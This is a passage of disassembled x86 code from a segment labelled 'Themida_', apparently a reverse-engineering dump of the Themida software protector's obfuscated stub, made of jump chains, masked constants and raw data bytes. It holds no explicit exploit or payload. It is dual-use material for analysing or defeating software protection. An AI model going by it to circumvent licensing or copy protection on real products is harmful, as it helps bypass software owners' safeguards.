; ---------------------------------------------------------------------------


loc_62700B:				; CODE XREF: Themida_:006226ABj
		pop	esp
		mov	ecx, [esp]
		add	esp, 4
		push	423Ch
		mov	[esp], eax
		jmp	loc_621C0B
; ---------------------------------------------------------------------------


loc_62701F:				; CODE XREF: Themida_:0061CBC7j
		add	ecx, 2
		jmp	loc_61FDB9
; ---------------------------------------------------------------------------
		dw 5D54h
		dd 4B951h, 0BF570000h, 2E520E63h, 15FFD01h, 26E956CDh
		db 0F0h, 2 dup(0FFh)
byte_627043	db 0FFh			; DATA XREF: Themida_:0061BF98o
		dd 50582434h, 1368E089h, 89000058h, 0E1E9240Ch,	8FFFFF66h
		dd 248B2404h, 24040824h, 51B9E99Ch, 0BE66FFFFh,	94E97CC3h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62706F:				; CODE XREF: Themida_:00624C76j
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], eax
		pop	ecx
		pop	eax
		mov	eax, ecx
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_624E0D
; ---------------------------------------------------------------------------


loc_627091:				; CODE XREF: Themida_:00624009j
		mov	[esp], edx
		mov	edx, 1ABF6125h
		push	ebx
		mov	ebx, 64940FEEh
		jmp	loc_61E31A
; ---------------------------------------------------------------------------
		dd 89240C89h, 4C181E1h,	81000000h, 4C1h, 62DCE900h, 8F5FFFFFh
		dd 895C2404h, 4BD242Ch,	89000000h, 0E3CAE9EEh, 1431FFFFh
		dd 9DD5E924h, 0B60FFFFFh, 8734FFC0h, 81E68956h,	4C6h, 7DEA6800h
		dd 4890000h, 4B824h, 0EE810000h, 549707DCh, 0C681C629h
		dd 549707DCh, 24343358h, 33243431h, 248B2434h, 0B465E924h
		dd 8E9FFFFh, 81FFFF51h,	0BD5355E9h, 8141490Bh, 0B2ADE1F1h
		dd 59C8319Bh, 0FFE775E9h, 87685AFFh, 0E9000067h, 0FFFFB51Dh
		dd 59CA3166h, 8BD53166h, 0C4832414h, 0EE896604h, 0F329665Dh
		dd 0FF8AEDE9h, 4C781FFh, 81000000h, 4EFh, 243C8700h, 2414895Ch
		dd 0C281E289h, 4, 0FC62E953h, 0FF68FFFFh, 89000043h, 0FCE92404h
		db 72h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62717F:				; CODE XREF: Themida_:0062043Bj
		push	ecx
		mov	cl, 63h
		neg	cl
		dec	cl
		push	eax
		mov	ah, 26h
		sub	cl, 9Bh
		add	cl, ah
		push	eax
		jmp	loc_624056
; ---------------------------------------------------------------------------
dword_627194	dd 9D1C77FFh, 0D3665966h, 0E99C241Ch, 0FFFF507Bh
					; DATA XREF: Themida_:0061C194o
; ---------------------------------------------------------------------------


loc_6271A4:				; CODE XREF: Themida_:0062364Dj
		pop	ebp
		jmp	loc_62625A
; ---------------------------------------------------------------------------


loc_6271AA:				; CODE XREF: Themida_:00622B79j
		pop	ecx
		add	ebp, 4
		jmp	loc_622E8C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0FCE92424h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6271BB:				; CODE XREF: Themida_:00624569j
		sub	ebp, 1
		jmp	loc_61FA0C
; ---------------------------------------------------------------------------
		dw 0EAC1h
		dd 0CA874205h, 0CA87D1F7h, 0F050C281h, 0D3890070h, 0FF7773E9h
		db 0FFh
byte_6271DD	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:0061C044o
		dd 0D359669Dh, 0E99C2414h, 0FFFF5033h, 0B951E289h, 3BF9744Fh
		dd 0FFE4B2E9h, 3DC781FFh, 0C1208F27h, 0C78108E7h, 0AB157B97h
		dd 15FF829h, 0C32958C3h, 0C94EB81h, 2BE95AB9h, 53FFFF79h
		dd 0E73001BBh, 3E3C125h, 0A9BE5643h, 0C145FD6Eh, 0E68108EEh
		dd 64566CE0h, 15C7F681h, 0F3010945h, 5024348Bh,	405E089h
		dd 83000000h, 48704C0h,	0C9685C24h, 8900007Dh, 2CBF243Ch
		dd 4F2CCF6Ch, 0E9FFEF83h, 0FFFFE2D7h, 6602EC83h, 66242C89h
		dd 682C58BDh, 743h, 66240C89h, 66519EB9h, 5DE4E981h, 8E9C166h
		dd 0FF9471E9h, 6EBF05FFh, 0E95707D5h, 0FFFF8270h, 4EC815Ch
		dd 89000000h, 25E92404h, 81FFFF76h, 0BAD296EFh,	5FFA2992h
		dd 617AC281h, 0E942F809h, 0FFFFE77Eh, 5124048Bh, 8F00E954h
		dd 0CD68FFFFh, 89000051h, 0D0892404h, 89C58955h, 48B5DEBh
		dd 4C48324h, 0FFC2AEE9h, 110FBBFFh, 29E96CD6h, 5C00000Fh
		dd 4AB0F66h, 2CE99C24h,	56FFFF4Fh, 0FFF5CFE9h, 66D728FFh
		dd 8124148Bh, 2C4h, 53506600h, 0CBFE33B3h, 8819F380h, 0C7005BD8h
		dd 0F2E95866h, 33FFFF76h, 2C31242Ch, 720DE924h,	3C87FFFFh
		dd 6FE95C24h, 0FFFF81h,	1A0459C8h, 0FF823DE9h, 305958FFh
		dd 148B66D0h, 2C48324h,	8904EC83h, 0D0B62414h, 8055F680h
		dd 0E953C7E6h, 0FFFFF543h
; ---------------------------------------------------------------------------


loc_627358:				; CODE XREF: Themida_:00625441j
		or	cl, 87h
		push	ebx
		jmp	loc_625535
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 3Fh
		dd 0E9037E37h, 0FFFFB6F6h, 34FFC328h, 0D4E95824h, 81FFFF5Fh
		dd 0F00324C3h, 0A5B3E965h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_627382:				; CODE XREF: Themida_:00628629j
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	esi
		push	edx
		push	ecx
		mov	ecx, 4245724Dh
		mov	edx, ecx
		pop	ecx
		mov	esi, edx
		push	dword ptr [esp]
		jmp	loc_61CE87
; ---------------------------------------------------------------------------
		db 81h,	0CEh, 5Ch
		dd 8177771Eh, 0A161B1E6h, 42C6810Bh, 890925AAh,	0EFC15EF7h
		dd 7EFC104h, 226FE781h,	0FF570478h, 475F2404h, 8904EC83h
		dd 6768241Ch, 8B000000h, 0C483241Ch, 5BDF3104h,	0FF6D27E9h
		dd 74FF56FFh, 8F5E0424h, 0E95C2404h, 0FFFF66D8h
aN1Qhan		db '1Qhn',0          ; DATA XREF: Themida_:0061C170o
		dd 252E900h, 56580000h,	4BEh, 0B125E900h, 433FFFFh, 0B21AE924h
		dd 0E949FFFFh, 0FFFFE31Ch, 4EC8158h, 0E9000000h, 0FFFF5D0Fh
; ---------------------------------------------------------------------------


loc_627420:				; CODE XREF: Themida_:00623C0Fj
		mov	[esp], esi
		push	eax
		push	68075F17h
		pop	eax
		jmp	loc_627A66
; ---------------------------------------------------------------------------
		db 51h
		dd 0EE2855B9h, 0FCBE93Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62743A:				; CODE XREF: Themida_:00626FBDj
		shr	edi, 2
		neg	edi
		inc	edi
		add	edi, 2C85C9E3h
		mov	esi, edi
		jmp	loc_6254BC
; ---------------------------------------------------------------------------
		db 28h,	4, 24h
		dd 4DC9E99Ch, 0C481FFFFh, 4, 4C481h, 0B5E90000h
		db 0EFh, 2 dup(0FFh)
byte_627467	db 0FFh			; DATA XREF: Themida_:0061BFC4o
		dd 669D1C77h, 2414D259h, 4DA9E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_627476:				; CODE XREF: Themida_:0061F433j
		mov	dx, [esp]
		jmp	loc_62688B
; ---------------------------------------------------------------------------
byte_62747F	db 0FFh			; DATA XREF: Themida_:0061C018o
		dd 34FF2434h, 9D0AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62748A:				; CODE XREF: Themida_:0061ED80j
		xor	ebx, ecx
		push	eax
		push	ebx
		jmp	loc_61D913
; ---------------------------------------------------------------------------


loc_627493:				; CODE XREF: Themida_:0061F62Ej
		pop	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_61D351
; ---------------------------------------------------------------------------
		dw 875Eh
		dd 0F5E9242Ch, 81000009h, 7E072404h, 815F2893h,	937E07EFh
		dd 0C6FE928h, 34310000h, 560BE924h, 0C90BFFFFh,	6D0840Fh
		dd 0E9500000h, 0FFFF75A8h, 902DFCBFh, 81D7F729h, 0CC0291C7h
		dd 0BBEF813Ch, 0B804C589h, 0E764ADBh, 3C8BF829h, 4C48124h
		dd 1000000h, 0BE958C1h
		db 9Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_627507:				; CODE XREF: Themida_:006218D4j
		sub	edx, 544B1A43h
		push	eax
		jmp	loc_61E86F
; ---------------------------------------------------------------------------
		db 59h
		dd 894AE959h, 0C483FFFFh, 0E9535104h, 0FFFF7924h
; ---------------------------------------------------------------------------


loc_627524:				; CODE XREF: Themida_:0062435Dj
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 4
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_621697
; ---------------------------------------------------------------------------


loc_62754B:				; CODE XREF: Themida_:0062306Ej
		and	eax, edx
		pop	edx
		or	eax, eax
		jz	loc_622A3C
		push	6FF8h
		mov	[esp], edx
		push	eax
		push	67B77A93h
		mov	eax, [esp]
		push	4120h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		add	eax, 0FFFFFFFFh
		xor	eax, 67B77A8Eh
		push	4837h
		mov	[esp], eax
		pop	edx
		pop	eax
		add	edx, edi
		push	dword ptr [edx]
		pop	ecx
		jmp	loc_61F8D9
; ---------------------------------------------------------------------------
		dd 1E09B968h, 13E95A0Eh, 89FFFFFCh, 405E0h, 0C0830000h
		dd 24048704h, 5224248Bh, 68F6B551h, 3384h, 0B3241C89h
		dd 303FB277h, 63E95BDAh
		db 4Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6275DB:				; CODE XREF: Themida_:00620D66j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_624006
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 4
		dd 89000000h, 0E9015BDDh, 0F944E95Dh, 355EFFFFh, 519E6808h
		dd 2F094035h, 0FFC529FDh, 81582434h, 4C4h, 242C3300h, 0E9242C31h
		dd 0FFFFE5B6h
; ---------------------------------------------------------------------------


loc_627624:				; CODE XREF: Themida_:00622D11j
		sub	ebx, 0FD70CD94h
		add	edi, ebx
		pop	ebx
		mov	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_626385
; ---------------------------------------------------------------------------
		dd 68241C89h, 1ABA46EDh, 80CB815Bh, 815C9732h, 0D33753F3h
		dd 0E1F38107h, 81508035h, 94300BF3h, 0ABE95332h, 0C1FFFF8Dh
		dd 0BA5205E9h, 6CF5747h, 15AD129h, 0C28359CAh, 24148704h
		dd 0E924248Bh, 0FFFFE234h, 2414875Eh, 0FF910CE9h, 0C28166FFh
		dd 0DAE96F38h
		db 7Eh,	2 dup(0FFh)
byte_6276A3	db 0FFh			; DATA XREF: Themida_:0061BFC8o
		dd 0E0E93C77h, 89FFFFCBh, 0E2892414h, 4C281h, 0EA810000h
		dd 4, 0FFAFEFE9h, 243C89FFh, 0FF9166E9h
		db 0FFh
byte_6276C9	db 0ACh, 2Ch, 0A3h	; DATA XREF: Themida_:0061C0C8o
		dd 0D8006A04h, 2EE96A2Ch, 81FFFFEAh, 4EBh, 241C8700h, 5578E95Ch
		dd 0C201FFFFh, 4DF4E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6276EE:				; CODE XREF: Themida_:00626EC1j
		or	edx, eax
		jmp	loc_61C7B8
; ---------------------------------------------------------------------------
		db 0B9h, 0D3h, 7Ch
		dd 0C1812D12h, 3090FA18h, 0C8BCF01h, 0E6895624h, 4C681h
		dd 5EE90000h, 59FFFFE2h, 565AD001h, 9378E952h, 7CB8FFFFh
		dd 0E90F7A26h, 0FFFF54B0h
; ---------------------------------------------------------------------------


loc_627728:				; CODE XREF: Themida_:00626A57j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	edx
		xor	dword ptr [esp], 4AEC1EC7h
		pop	eax
		xor	eax, 4AEC1EC7h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_61CCD8
; ---------------------------------------------------------------------------
		db 58h
		dd 5C52B850h, 160D58B2h, 56D2A6Eh, 2FAD1816h, 0FFFB1CE9h
		dd 664766FFh, 28C4C781h, 0FFC773E9h
		db 0FFh
byte_627779	db 0ACh, 83h, 0ECh	; DATA XREF: Themida_:0061C1D0o
		dd 240C8904h, 0FF859CE9h, 6DF781FFh, 0E973BE57h, 0FFFFE4B1h
		dd 0E924148Bh, 0FFFFD829h, 81595451h, 4C1h, 0D6E95500h
		dd 89FFFFA6h, 71D7E9E5h, 0E95BFFFFh, 0FFFF81A5h, 0E904C683h
		dd 0FFFF6F77h
; ---------------------------------------------------------------------------


loc_6277BC:				; CODE XREF: Themida_:00621946j
		mov	[esp], edi
		push	26E32550h
		jmp	loc_622231
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 50000000h, 0D1486468h, 0D92EE94Dh, 575EFFFFh, 0FFDFECE9h
		dd 0EAB15BFFh, 34FFE128h, 89535824h, 4C381E3h, 81000000h
		dd 4C3h, 241C8700h, 3024248Bh, 0C8B66C8h, 741DE924h, 4205FFFFh
		dd 684E3B2Fh, 3317h, 81241C89h,	4ECh, 243C8900h, 0FFAF2DE9h
		dd 0C2815DFFh, 25FA4922h, 0EA81DA29h, 25FA4922h, 56241C8Bh
		dd 0C681E689h, 4, 8704C683h, 0E95C2434h, 0FFFFAA29h, 0C4E9D901h
		db 67h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_627853:				; CODE XREF: Themida_:0061FF56j
		inc	edx
		sub	edx, 73E0C8FAh
		mov	ebx, edx
		pop	edx
		push	ecx
		mov	ecx, 32E3579h
		add	ebx, 332C5C66h
		jmp	loc_628652
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 4EC81h, 3C890000h, 7CA5E924h, 0E289FFFFh, 4C281h, 0EA810000h
		dd 4, 5C241487h, 88240489h, 4EC83FCh, 0B9240C89h, 38h
		dd 3CE9F901h, 89FFFFADh, 48B241Ch, 4C48324h, 1BB86857h
		dd 4890000h, 5E3EB824h,	0CDE95FA7h
		db 0D9h, 2 dup(0FFh)
byte_6278C3	db 8Bh			; DATA XREF: Themida_:0061C18Co
		dd 58682404h, 89000045h, 0FF54240Ch, 44E92434h
		db 0ABh, 2 dup(0FFh)
byte_6278D7	db 66h			; DATA XREF: Themida_:0061BF9Co
		dd 0E924048Bh, 0FFFFFEB8h
; ---------------------------------------------------------------------------


loc_6278E0:				; CODE XREF: Themida_:00621729j
		add	edi, 0C2D0D4E0h
		mov	eax, edi
		pop	edi
		push	eax
		mov	eax, 4C62B00h
		jmp	loc_6211ED
; ---------------------------------------------------------------------------


loc_6278F4:				; CODE XREF: Themida_:006265F3j
		xchg	eax, ebx
		jmp	loc_61F28F
; ---------------------------------------------------------------------------
word_6278FA	dw 0E9ADh		; DATA XREF: Themida_:0061C148o
		dd 0FFFF4CB7h, 8702C383h, 49E9241Ch, 0C0000005h, 0F48006E4h
		dd 0F253E9C9h, 0E181FFFFh, 652C18D4h, 8103E9C1h, 0D2712AC9h
		dd 0D1F7494Ch, 0FFF611E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_62792D:				; CODE XREF: Themida_:006285E7j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_6239EE
; ---------------------------------------------------------------------------
dword_627938	dd 4EC81h, 14890000h, 38BA24h, 0EA810000h, 12057F91h, 0F1E9FA01h
					; DATA XREF: Themida_:0061C0ECo
		dd 83FFFF4Ah, 48904ECh,	4C4B024h, 62CAE99Bh, 0FA01FFFFh
		dd 317DC281h, 0EA817624h, 0D314F12h, 0FF5E32E9h, 2474FFFFh
		dd 24048B04h, 8F04C483h, 248B2404h, 240CFF24h, 4891E99Ch
		dd 0CD81FFFFh, 49A13DECh, 814DDDF7h, 18EA52F5h,	81DDF7ADh
		dd 8A3EAFEDh, 0A245E9AEh, 4D2FFFFh, 0EDE99C24h,	5FFFF9Ah
		dd 4E45174h, 0E9240C8Bh, 0FFFF9185h, 5D5DA5BEh,	46EE8177h
		dd 811BEB51h, 79540EC6h, 5EF38916h, 7FB8F381h, 0C3810E5Ah
		dd 0E93119B2h, 0F75BDE01h, 0F4EE81DEh, 291AE345h, 8B042474h
		dd 30E92434h
		db 70h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6279F7:				; CODE XREF: Themida_:0061EEC1j
		mov	al, dl
		mov	bh, al
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		pop	ecx
		mov	[edi+eax*4], bh
		push	dword ptr [esp]
		jmp	loc_62370D
; ---------------------------------------------------------------------------
		db 51h,	56h, 0BEh
		dd 0B907EA7h, 7D6853B9h, 5EF13173h, 0C8BCE89h, 9E95024h
		db 7Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_627A2B:				; CODE XREF: Themida_:00621608j
		pop	edi
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_622779
; ---------------------------------------------------------------------------
		db 81h
		dd 114D85C7h, 0D1F78125h, 16600BBh, 0E9555FFBh,	0FFFFC8A8h
		dd 4BDh, 5DEA0100h, 5DF768h, 24348900h,	0CC44C7BEh, 0F1EEE930h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_627A66:				; CODE XREF: Themida_:0062742Aj
		add	eax, 97FAA0E9h
		mov	esi, eax
		mov	eax, [esp]
		add	esp, 4
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_61E915
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 0FF657CE9h, 5FF801FFh, 0FF510FE9h, 4C681FFh,	0E9000000h
		dd 0FFFFDD03h, 5159C801h, 0FFD868E9h, 0BD5556FFh, 0C007B1Fh
		dd 0FF60A5E9h, 81DFF7FFh, 521578F7h, 4E29E919h,	0F281FFFFh
		dd 2F10668Ah, 0E2E9D589h, 5FFFFB0h, 4B277BBCh, 0BC2DD801h
		dd 5B4B277Bh, 5C240487h, 24048B66h, 729C68h, 24348900h
		dd 0BB53E689h, 7F546952h, 96B2C381h, 0DE0180ABh, 23E9505Bh
		dd 0B9FFFFFCh, 4, 0E451742Dh, 0E9C80104h, 0FFFFFEA7h, 4BE56h
		dd 0F0010000h, 2404875Eh, 0FFE795E9h, 242C89FFh, 6C2BBB53h
		dd 0DD89457Fh, 0FF9D63E9h
		db 0FFh
byte_627B2D	db 0ADh, 2Dh, 72h	; DATA XREF: Themida_:0061C070o
		dd 292B2366h, 7AB8E9D8h, 0F201FFFFh, 8124348Bh,	4C4h, 2C28300h
		dd 2474FF52h, 24148B04h, 97BE9h, 59CF8900h, 1738C781h
		dd 0C7830B4Ah, 0C7814F01h, 0E6E22F95h, 295FFB89h, 2434FFD8h
		dd 9F68555Bh, 8900005Fh, 4812424h, 424h, 0A3E95D00h, 80FFFF46h
		dd 0C3FEDDC3h, 0FFCE07E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_627B91:				; CODE XREF: Themida_:0061CEAAj
		mov	[esp], eax
		jmp	loc_622218
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 41h
		dd 5BFFFFB1h, 4C481h, 0A9680000h, 8900004Ah, 8CBE2434h
		dd 0D105AD34h, 5E6C1EEh, 1C681h, 0C6810000h, 0A52CB73Fh
		dd 30B951h, 0EC830000h,	24048904h, 2B2BD2B8h, 58C10156h
		dd 69E9D101h, 0FFFFFFECh, 148B2434h, 4C48124h, 51000000h
		dd 0C181E189h, 4, 4C181h, 0FF510000h, 59042474h, 8B24048Fh
		dd 0CD682424h, 0E900000Fh, 0FFFF694Ch
dword_627C10	dd 4EC83ACh, 0B7241C89h, 0F2C780ECh, 0FFD521E9h, 57D831FFh
					; DATA XREF: Themida_:0061C064o
		dd 0FFE3D1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_627C29:				; CODE XREF: Themida_:006286AAj
		mov	[esp], eax
		mov	eax, 61DF094Ah
		mov	edi, eax
		jmp	loc_61F633
; ---------------------------------------------------------------------------
		dd 54B3BF57h, 0F781253Ch, 233645CCh, 30E9DFF7h,	8100000Bh
		dd 2C4h, 48F6600h, 6FE6E924h, 0DD29FFFFh, 242C875Bh, 0FFC4E4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_627C65:				; CODE XREF: Themida_:0061CE94j
		and	edi, 0BA87385h
		sub	edi, 643E281Ch
		and	edi, 28FB2AF6h
		jmp	loc_62080D
; ---------------------------------------------------------------------------
		dd 0C381DBF7h, 81F23387h, 0FF86B0E9h, 0C1815FFFh, 4, 8B240C87h
		dd 0D0212424h, 0E9C2095Ah, 0FFFF9132h, 8324148Bh, 0D7F604C4h
		dd 0FFB560E9h
		db 0FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_6250F0
; ---------------------------------------------------------------------------
		db 5Ch,	55h, 54h
		dd 4C5815Dh, 0E9000000h, 0FFFFBAEDh, 0A063E953h, 0C981FFFFh
		dd 1E1D4185h, 0E981D1F7h, 4C9357FEh, 159C801h, 0EC8356D8h
		dd 24148904h, 2D5A02BAh, 5AD68975h, 3879E905h, 2DF02941h
		dd 413879E9h, 8324348Bh, 482D04C4h, 0E94D260Dh,	0FFFFF507h
		dd 4C681h, 0C6810000h, 4, 0FFB18DE9h
		db 0FFh
byte_627D25	db 66h,	8Bh, 4		; DATA XREF: Themida_:0061C134o
		dd 9503E924h, 0D0F7FFFFh, 0FF5C60E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_627D35:				; CODE XREF: Themida_:006223E1j
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_620E38
; ---------------------------------------------------------------------------
		db 2Ch,	1Ah, 0E9h
		dd 0FFFF4F05h
; ---------------------------------------------------------------------------


loc_627D48:				; CODE XREF: Themida_:00628114j
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		push	2566h
		mov	[esp], ebp
		mov	ebp, 7F375D68h
		add	ebp, 7ACE06B4h
		push	4379h
		jmp	loc_61F347
; ---------------------------------------------------------------------------


loc_627D6F:				; CODE XREF: Themida_:00622E5Fj
		xor	edx, 0EC2CAA88h
		xor	ecx, edx
		pop	edx
		sub	ecx, 0E778C831h
		jmp	loc_61D301
; ---------------------------------------------------------------------------
byte_627D83	db 0FFh			; DATA XREF: Themida_:0061C180o
		dd 34FF2434h, 0D5E95824h, 66FFFFE5h, 4266D2F7h,	9EC28166h
		dd 8AFBE9B4h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_627D9E:				; CODE XREF: Themida_:00625536j
		mov	dh, cl
		mov	bl, dh
		mov	edx, [esp]
		add	esp, 4
		not	bl
		mov	cl, bl
		pop	ebx
		sub	cl, 96h
		xor	cl, 6Fh
		jmp	loc_626C21
; ---------------------------------------------------------------------------
		db 89h
		dd 0CBB9240Ch, 5705735Bh, 0FF4A80E9h, 0A2E281FFh, 0C122F956h
		dd 0DAF707EAh, 1D57F281h, 1AE9FFBAh, 52FFFF9Dh,	181A28BAh
		dd 5AD12119h, 1C1ABE56h, 0F1010CB5h, 8324348Bh,	0E98104C4h
		dd 766D1FB6h, 8FBB5349h, 0E98E1FDBh, 2F8h, 504C483h, 1EB20D75h
		dd 0FF7B0BE9h, 1EEF81FFh, 816D1D58h, 0B160BAEFh, 3E9584Ah
		db 0BAh, 2 dup(0FFh)
byte_627E27	db 68h			; DATA XREF: Themida_:0061C068o
		dd 2B2h, 0FF98B7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_627E31:				; CODE XREF: Themida_:00621476j
		push	dword ptr [esp+4]
		jmp	loc_622D2C
; ---------------------------------------------------------------------------
		dw 0E956h
		dd 0FFFFEF29h, 0ADB8505Ch, 6867001Ch, 2313h, 0E9240489h
		dd 0FFFF67B2h, 51D8005Ch, 0E9532FB5h, 0FFFFB345h, 9BC8A5BFh
		dd 93C7812Ah, 1155765h,	7D968DFh, 2C890000h, 0C65BD24h
		dd 0C5817D82h, 17353B6Eh, 68h, 0C866E900h, 0EBBAFFFFh
		dd 0F741B31Ah, 0F0D1E9DAh, 0C729FFFFh, 0EE72E958h
		db 2 dup(0FFh)
word_627E9E	dw 8B66h		; DATA XREF: Themida_:0061BF48o
		dd 0E9522404h, 0FFFF7BFDh, 242C895Ch, 0DA4EE954h, 0A2B7FFFFh
		dd 5B66F828h, 4EC815Bh,	89000000h, 0B5512414h, 0DFED80C8h
		dd 5359EA88h, 0FA2826B7h, 9DE2805Bh, 0E921EA80h, 0FFFF62A9h
		dd 0F287D587h, 0F287D6F7h, 0EA31D531h, 0C145D531h, 0EDC102EDh
		dd 0E63FE904h, 4C01FFFFh, 34FF0424h, 0A482E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_627F02:				; CODE XREF: Themida_:0061E862j
		not	eax
		and	eax, 48D33B5Dh
		jmp	loc_621A79
; ---------------------------------------------------------------------------
word_627F0E	dw 0F766h		; DATA XREF: Themida_:0061C03Co
		dd 0E99C241Ch, 0FFFFB44Bh, 6624248Bh, 68240C8Bh, 4FF4h
		dd 0FF598BE9h, 244431FFh, 0C8B5804h, 4C48124h, 81000000h
		dd 335AABF1h, 241C8B14h, 4C481h, 0C8310000h, 0FF9AA2E9h
		dd 241487FFh, 2414895Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_624DD3
; ---------------------------------------------------------------------------


loc_627F5C:				; CODE XREF: Themida_:00624105j
		pop	esp
		add	eax, 3DC15071h
		jmp	loc_61F145
; ---------------------------------------------------------------------------
byte_627F67	db 66h			; DATA XREF: Themida_:0061BF58o
		dd 50240C8Bh, 0FF9DB7E9h, 0EAB6FFh, 285A66F5h, 535259E8h
		dd 0C380C3B3h, 5BDE88D9h, 0CE80DEF6h, 0E9C6FE1Fh, 0FFFF9E34h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 31336A10h
		inc	esi
		jmp	loc_6225D0
; ---------------------------------------------------------------------------
		dw 0FD88h
		dd 8BEC885Bh, 0C481240Ch, 4, 6853D4F6h,	3066h, 51241489h
		dd 0EE88E588h, 0F5885159h, 0FFDF10E9h, 23E380FFh, 8037C380h
		dd 0E380C6EBh, 11B450CCh, 0C042E480h, 9DE902ECh
		db 6Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_627FF7:				; CODE XREF: Themida_:00625F49j
		mov	eax, [esp]
		add	esp, 4
		push	edx
		jmp	loc_626443
; ---------------------------------------------------------------------------
		dw 0FBBAh
		dd 294C6D65h, 54295EF2h, 0E95A0824h, 0FFFF769Ah, 5BF5C981h
		dd 0E1C15D40h, 0E9D98708h, 0FFFFE6FCh, 0C7EE8146h, 89EF770Fh
		dd 7A44E9F0h, 0E940FFFFh, 0FFFFAA06h, 9965FDBFh, 5FFB291Eh
		dd 0C381F301h, 1E9965FDh, 0BA52555Eh, 7BEB5703h, 0EB5707BDh
		dd 5AD5317Bh, 2C8BEB01h, 4C48124h, 87000000h, 0F5C241Ch
		dd 9C51C8AFh, 0FF41AAE9h, 0E18951FFh, 4C181h, 0E9830000h
		dd 8CE5E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_628086:				; CODE XREF: Themida_:00621EBEj
		xchg	edx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_6222BC
; ---------------------------------------------------------------------------
		dd 0DB54F5BFh, 0EF814F74h, 2EC44281h, 0FF4756E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6280AD:				; CODE XREF: Themida_:00622172j
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, ah
		jmp	loc_6245BB
; ---------------------------------------------------------------------------


loc_6280BD:				; CODE XREF: Themida_:0061C398j
		add	esi, eax
		pop	eax
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	esi
		jmp	loc_6257E0
; ---------------------------------------------------------------------------
		dd 68243489h, 12C7h, 0E9242489h, 0FFFF5B3Dh, 1C04FD05h
		dd 11FC2D17h, 0C689BC52h, 0FF91B8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6280F1:				; CODE XREF: Themida_:00621AF4j
		push	ebx
		mov	ebx, 6BE63B0Bh
		add	edx, ebx
		pop	ebx
		pop	ebx
		jmp	loc_620A14
; ---------------------------------------------------------------------------
		dd 895BD929h, 91E959CFh
		db 71h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62810B:				; CODE XREF: Themida_:0061F3DEj
		mov	edx, 0
		add	edx, eax
		mov	ecx, [edx]
		jmp	loc_627D48
; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
